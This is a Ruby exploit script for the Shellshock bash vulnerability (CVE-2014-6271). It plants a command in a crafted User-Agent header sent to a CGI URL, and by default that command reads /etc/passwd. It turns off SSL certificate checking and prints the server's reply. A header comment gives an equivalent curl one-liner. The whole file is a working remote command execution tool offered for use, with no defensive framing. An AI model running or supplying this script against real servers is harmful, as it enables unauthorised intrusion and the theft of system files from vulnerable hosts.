#!/usr/bin/env ruby
#
# CVE-2014-6271 | Shellshock (bash_4.2:2b:dfsg-0.1)
# KING SABRI | @KINGSABRI
# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd;'" http://TARGET:8080/cgi-bin/stats"
#
require 'open-uri'
require 'openssl'

if ARGV.size >= 1
  target = ARGV[0]
  cmd    = ARGV[1] || "cat /etc/passwd"
else
  puts "ruby #{__FILE__} <TARGET> [CMD]"
  exit
end

uri = URI.parse(target)
headers =
    {
      "User-Agent"      => "() { :; }; echo; echo; /bin/bash -c '#{cmd};'",
      "Accept-Language" => "en-US,en;q=0.5",
      "Accept-Encoding" => "gzip, deflate",
      "Accept"          => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
      "Connection"      => "keep-alive"
    }

  # Make open-uri SSL friendly and void ruby warning
  prev_setting = OpenSSL::SSL.send(:remove_const, :VERIFY_PEER)
  OpenSSL::SSL.const_set(:VERIFY_PEER, OpenSSL::SSL::VERIFY_NONE)

  request = open(uri, headers)
  puts "[*] Sending Shellshock Exploit.. "
  response = request.read
  puts "[+] Server response:"
  puts response
